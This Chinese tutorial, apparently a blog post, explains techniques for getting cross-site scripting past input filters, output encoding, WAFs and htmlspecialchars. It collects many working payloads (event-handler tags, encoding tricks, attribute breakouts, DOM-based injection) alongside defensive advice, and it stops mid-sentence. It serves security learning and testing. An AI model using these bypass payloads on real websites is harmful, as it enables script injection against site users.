一、XSS 防护原理(了解敌人)
现代网站会做很多 XSS 防护,包括:
防护手段 | 描述 |
---|---|
输入过滤 | 例如禁止 <script> 、<img> 、onerror 等关键词 |
编码输出 | 使用 htmlspecialchars() 等方式将 < 编码为 < |
CSP 安全策略 | 限制页面中脚本来源 |
WAF(Web防火墙) | 拦截常见攻击 payload |
DOM 安全编码 | 使用 DOM API 动态插入数据而非 innerHTML |
攻击者的目标:就是绕过这些防护手段,实现代码执行!
二、XSS 绕过方式分类
熟记一句话:只要网站有漏洞,你总能找到“表达恶意代码”的方式!
1. 基本 payload 示例
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg/onload=alert(1)>
三、常见绕过方式全汇总
1. 大小写绕过(Case Bypass)
防护只过滤了 <SCRIPT>
,没过滤 <ScRiPt>
?
<ScRiPt>alert(1)</ScRiPt>
1. <script>alert(1)</script>
含义:
这是最基本的 XSS 脚本注入方式,直接在 HTML 页面中插入 JavaScript 代码。
作用:
浏览器在解析到 <script>
标签时会执行其中的内容,这里就是执行 alert(1)
—— 弹出一个小窗口,显示数字 1。
使用条件:
-
目标网站未对
<script>
标签做过滤或编码。 -
插入点允许插入完整 HTML(非属性、非注释等位置)。
常见防护:
-
使用
htmlspecialchars()
、htmlentities()
编码输出。 -
WAF 拦截
<script>
关键字。
2. <img src=1 onerror=alert(1)>
含义:
创建一个图片元素 <img>
,但图片路径 src=1
是一个无效地址,所以会加载失败。
作用:
当图片加载失败时,浏览器会触发 onerror
事件。这里 onerror=alert(1)
就是在报错时执行弹窗。
绕过点:
-
没有使用
<script>
标签,适用于只允许插入 HTML 标签但不允许 JS 的场景。 -
onerror
是一个 HTML 事件属性,很多标签都支持,比如<img>
,<iframe>
,<body>
。
常见防护:
-
禁止
onerror
出现(关键词过滤)。 -
正则黑名单不够完善时容易被绕过。
3. <svg/onload=alert(1)>
含义:
这是一个 SVG 图形标签 <svg>
,它的 onload
事件在标签加载时触发。
作用:
虽然看起来像一个普通图形标签,但浏览器在解析 SVG 时,会尝试执行其 onload 内容,从而弹出 alert(1)
。
绕过点:
-
SVG 是合法标签,不容易被黑名单过滤规则识别。
-
使用
/
而非空格连接属性(<svg/onload=...>
),是为了绕过对空格的过滤。 -
甚至
<svg onload=alert(1)>
也能成功执行。
常见防护:
-
禁止标签内绑定事件(如
onload
)。 -
对 SVG 标签整体过滤。
总结对比表
Payload | 技术类型 | 优势 | 常见用途 | 绕过能力 |
---|---|---|---|---|
<script>alert(1)</script> | 最基础脚本注入 | 简单、直观 | 用于初步测试 XSS 是否存在 | 易被过滤 |
<img src=1 onerror=alert(1)> | 利用事件触发 | 兼容性强 | 输入框、HTML属性中注入 | 绕过 <script> 过滤 |
<svg/onload=alert(1)> | 非主流标签 + 属性 | HTML5 支持好 | 可混淆绕过 | 高级防护绕过技巧 |
2. 空格与分隔符绕过
空格替换为其他分隔符,如:\t
(tab)、\n
(换行)、\x0b
(垂直制表)、\xod(回车符)
<img\x0bonerror\x0d=alert(1)>
-
\x0b
→ 被浏览器解析为空白(绕过过滤) -
\x0d
→ 被浏览器自动忽略或作为属性解析的一部分
等价于
<img onerror=alert(1)>
也可以使用%0d(回车符) %0a(换行符)因为html标签换行也能解析
3. 编码绕过(URL编码、Unicode)
-
%3Cscript%3Ealert(1)%3C/script%3E
→ 浏览器解码成<script>alert(1)</script>
-
Unicode 编码:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
编码绕过的本质:绕过防护系统对敏感字符(如
< > " ' / =
)的过滤或检测,让浏览器在最后一步将它们解码执行。
攻击者不直接写 <script>
, 而是先“加密”成安全的样子,通过服务器的过滤,再在浏览器端自动“还原”,实现 XSS。
什么是 URL 编码?
URL 中不能直接包含某些字符(如空格、中文、<
、>
),所以它们会被转义成:
原字符 | URL 编码 | 示例 |
---|---|---|
< | %3C | <script> → %3Cscript%3E |
> | %3E | |
/ | %2F | /script → %2Fscript |
%3Cscript%3Ealert(1)%3C/script%3E
浏览器解码后变成:
<script>alert(1)</script>
如果服务器未对 URL 编码内容进行检测,就会被绕过!
Unicode 编码绕过
在 JavaScript 字符串中,可以用 Unicode 形式表示字符:
字符 | Unicode编码 | 用法 |
---|---|---|
< | \u003C | "<script>" 可写作 "\u003Cscript\u003E" |
> | \u003E | 同理 |
<script>
eval("\u0061\u006c\u0065\u0072\u0074(1)") // alert(1)
</script>
或直接构造标签:
document.write("\u003Cscript\u003Ealert(1)\u003C/script\u003E");
适用于防护系统解码顺序错误时。
[1] 用户输入 -> [2] 服务器过滤检测 -> [3] 输出到页面 -> [4] 浏览器解析执行
但如果过滤检测发生在未解码前(即检测的是
%3Cscript%3E
),而不是<script>
,就会被绕过!
错误流程 | 正确流程 |
---|---|
检查 %3Cscript%3E 是否危险 ❌ | 先 decode 再检查 <script> ✅ |
4. HTML 属性事件绕过(onXXX)
如果 <script>
被过滤,可以用带事件的 HTML 标签:
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<a href=javascript:alert(1)>点我</a>
<body onpageshow=alert(1)>
原理:
-
<body>
标签表示网页主体。 -
onpageshow
是一个事件,当页面首次显示或从缓存返回时触发。 -
所以只要页面加载成功,就会弹窗。
示例效果:
你插入:
body onpageshow=alert(1)>
页面一加载,立即执行 alert(1)
。
绕过意义:
-
很少有过滤器专门处理
onpageshow
,比onload
冷门,更容易绕过。 -
适用于页面模板注入点(如整页注入)
<input onfocus=alert(1) autofocus>
原理:
-
<input>
是表单输入框。 -
onfocus
:当元素被选中时触发。 -
autofocus
:自动选中该输入框(页面加载时就触发 focus)
效果:
浏览器加载页面时,input
自动获得焦点,就会触发 onfocus=alert(1)
。
<input onfocus=alert(1) autofocus>
适用于插入点在 HTML 元素属性中的位置,比如表单生成的地方。
绕过意义:
-
无需用户点击即可执行,属于“半自动 XSS”。
-
实战中常用于社交平台、自定义表单等输入场景。
<a href=javascript:alert(1)>点我</a>
原理:
-
<a>
是超链接标签。 -
href
属性中写的是 URL 地址,如果写成javascript:
,那点击时会执行 JS 代码。 -
类似于:
<a href="javascript:alert(1)">点我</a>
点击这个链接会弹窗。
绕过意义:
-
不用事件属性,绕过对
onerror
等关键词的拦截。 -
可以伪装成正常链接,诱导用户点击。
注意:
现代浏览器对 javascript:
的链接有一定限制,比如:
-
不允许跨域弹窗
-
某些 CSP 配置下会被禁止
5. 非 script 标签绕过(No-script Bypass)
-
利用图片加载失败执行 onerror:
<img src=x onerror=alert(1)>
<svg>
, <math>
, <iframe>
, <details>
都支持事件
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
6. 双写绕过(Double Encoding)
将关键字字符重复编码,比如:
-
%25
是%
的 URL 编码,%253C
实际等于<
%253Cscript%253Ealert(1)%253C/script%253E
如果防护只解一次码,会误以为安全。
7. 特殊字符插入(引号/斜杠/HTML实体)
"><script>alert(1)</script>
"><img src=1 onerror=alert(1)>
用于插入到 HTML 属性中,触发语法错误后执行 XSS。
第一句:"><script>alert(1)</script>
注入位置:
假设有如下代码片段用于渲染某个用户输入的值:
<input type="text" value="用户输入">
攻击者输入:
"><script>alert(1)</script>
渲染后的结果:
<input type="text" value=""><script>alert(1)</script>
发生了什么?
-
攻击者插入了一个 双引号
"
,结束了原有的value="..."
属性; -
然后加入了自己的
<script>alert(1)</script>
; -
浏览器会直接执行
<script>
标签,从而弹出 alert 框。
🔹 第二句:"><img src=1 onerror=alert(1)>
这是 <script>
标签的替代方式,用更隐蔽的方式执行 JS。
攻击者输入:
"><img src=1 onerror=alert(1)>
渲染后效果:
<input type="text" value=""><img src=1 onerror=alert(1)>
发生了什么?
-
<img src=1>
是一个无效图片链接,加载会失败; -
onerror=alert(1)
是 图片加载失败时触发的事件处理函数; -
所以,浏览器会自动执行
alert(1)
。
8. DOM-Based XSS 绕过
如果页面存在 JavaScript 代码将 URL 片段插入页面中:
document.write(location.hash);
你访问这个地址:
http://site.com/page#<img src=x onerror=alert(1)>
就能执行 XSS。绕过方式也包括编码、混淆等。
DOM-Based XSS 是指:XSS 触发点完全发生在浏览器端的 JavaScript 中,而不是后端返回的 HTML 页面中。
简而言之:
-
普通 XSS: 你输入
<script>
,服务器响应里包含了这个<script>
。 -
DOM XSS: 页面加载后,JS 代码把 URL 参数拼进页面,再被浏览器执行。
假设网页中有如下 JavaScript 代码:
document.write(location.hash);
这段代码的意思是:
把当前 URL 中的
#
后面的内容,原样写入 HTML 页面。
你访问这个地址:
http://site.com/page#<img src=x onerror=alert(1)>
此时:
-
location.hash
的值是:#<img src=x onerror=alert(1)>
-
document.write(location.hash)
会写入: -
浏览器解析后,这张图片加载失败,触发
onerror
,执行 JavaScript: -
服务器根本没参与,检测不到;
-
一般只在浏览器端 JS 中才能发现;
-
安全人员审查代码时容易忽略这类危险写法,如
innerHTML
,document.write
,eval
,setTimeout(..., 0)
等。 -
永远不要使用
innerHTML
/document.write()
插入用户输入; -
使用安全 API,如
textContent
,createTextNode
,setAttribute
; -
使用前端安全库如 DOMPurify 过滤;
-
对 URL 参数等内容做转义处理;
-
配置严格的 CSP(内容安全策略);
-
在渗透测试中手动检测所有 JS 数据流(input → sink)。
9. htmlspecialchar()绕过
网站使用了 htmlspecialchars()
函数,这会将以下字符转义成实体:
字符 | 被转义为 |
---|---|
< | < |
> | > |
" | " |
' | ' 或 ' |
& | & |
这意味着基本的 HTML 标签注入(如 <script>
)会直接失效。但你仍有一些 进阶绕过方式 可以尝试:
一、确认 XSS 类型
你要确认 XSS 类型 是:
-
✅ 反射型(URL 参数/搜索框)
-
✅ 存储型(评论等存储后再展示)
-
✅ DOM 型(JS 前端拼接 DOM)
-
✅ 富文本型(如使用
innerHTML
且对输入处理不严)
如果是直接用
htmlspecialchars()
输出到纯文本(<div><?= htmlspecialchars($_GET['q']); ?></div>
),那么页面就只是“显示”而不是“执行”内容,常规 XSS 是失效的。但只要有一点点 DOM 拼接或 JS 处理,还有机会。
二、判断是否可以写入 JS 环境
例如页面中有:
<script> var keyword = "<?= htmlspecialchars($_GET['q']); ?>"; </script>
你输入:
";alert(1);// → 成为 var keyword = "";alert(1);//";
✔️ 如果是这种拼接到 JS 变量中,那么你还可以 JS 注入绕过 htmlspecialchars
三、尝试 DOM 型或属性注入绕过(htmlspecialchars不影响)
1. 标签属性注入:
如果拼接在 HTML 属性中:
<input value="<?= htmlspecialchars($_GET['name']); ?>">
你输入:
" onfocus=alert(1) autofocus x="
浏览器会解析为:
<input value="" onfocus=alert(1) autofocus x="">
触发 onfocus
。
2. innerHTML
拼接漏洞(htmlspecialchars无效)
即使后台用了 htmlspecialchars()
,但如果前端 JS 有:
document.getElementById("result").innerHTML = location.hash;
你访问:
http://example.com/#<img src=x onerror=alert(1)>
由于这是前端拼接 HTML,不走 PHP,所以 htmlspecialchars()
拦不住你。
四、尝试双重编码绕过 htmlspecialchars
例如如果服务端做了:
echo htmlspecialchars(urldecode($_GET['q']));
你就可以输入:
%26lt%3Bscript%26gt%3Balert(1)%26lt%3B/script%26gt%3B
→ 解码后是:<script>alert(1)</script>
→ htmlspecialchars
不会再转义 <
(它只转 <
),于是页面直接输出 <script>alert(1)</script>
如果前端 innerHTML
拼接,这种可能会被浏览器还原并执行。
五、用onmouseover绕过(<>被过滤情况下,也可以用onfocus)
你必须先明确:注入点是在属性值里?标签之间?还是 JavaScript 中?以下是常见的几种情况:
情况 A:注入在属性值中,例如:
<input value="<?= htmlspecialchars($_GET['q']) ?>">
你输入:
" onmouseover=alert(1) x="
最终 HTML 会变成:
<input value="" onmouseover=alert(1) x="">
你会发现:
-
你注入的
<
和"
都被转义了 -
浏览器不会解析其中的
onmouseover
,所以不会触发
👉 解法思路:绕过 "
限制,尝试打断属性
如果应用允许不完整转义(有时只转义了 <
>
),可以尝试闭合属性或注入额外标签:
" onmouseover=alert(1) //
或
" autofocus onfocus=alert(1) x="
2. 尝试注入 HTML 标签本身:**
如果 htmlspecialchars()
是对部分输入做的过滤,但你注入点本身不在属性中而是在标签之间(例如评论区),你可能能注入完整标签:
Hello <img src=x onmouseover=alert(1)>
鼠标移上去就触发了。
3. 利用事件属性绕过(鼠标触发)
常见的鼠标事件属性:
事件属性 | 触发方式 |
---|---|
onmouseover | 鼠标移入 |
onmouseenter | 鼠标移入(不冒泡) |
onmousemove | 鼠标移动 |
onclick | 鼠标点击 |
onmousedown | 鼠标按下 |
onmouseup | 鼠标抬起 |
四、真实场景下的 XSS 绕过技巧
场景1:防火墙只过滤 <script>
,绕过方式:
<iframe src="javascript:alert(1)">
场景2:过滤了 onerror
,但没过滤 onload
:
<svg onload=alert(1)>
场景3:只输出值,没有做输出编码
<input value="正常值"> → value 被你控制
payload: " onfocus=alert(1) autofocus="
五、实战建议
步骤 | 内容 |
---|---|
1 | 判断是反射型 / 存储型 / DOM型 |
2 | 尝试基本 payload |
3 | 分析过滤机制(比如源码是否用了 htmlspecialchars() ) |
4 | 针对过滤逻辑进行逐一绕过测试 |
5 | 用 BurpSuite 自动/手动测试各种变体 |
6 | 在 CSP 存在时研究绕过方式,如 JSONP 或漏洞域 |
六、工具推荐
-
XSStrike:XSS payload 自动化测试工具
-
XSS Hunter:用于捕捉盲 XSS(Blind XS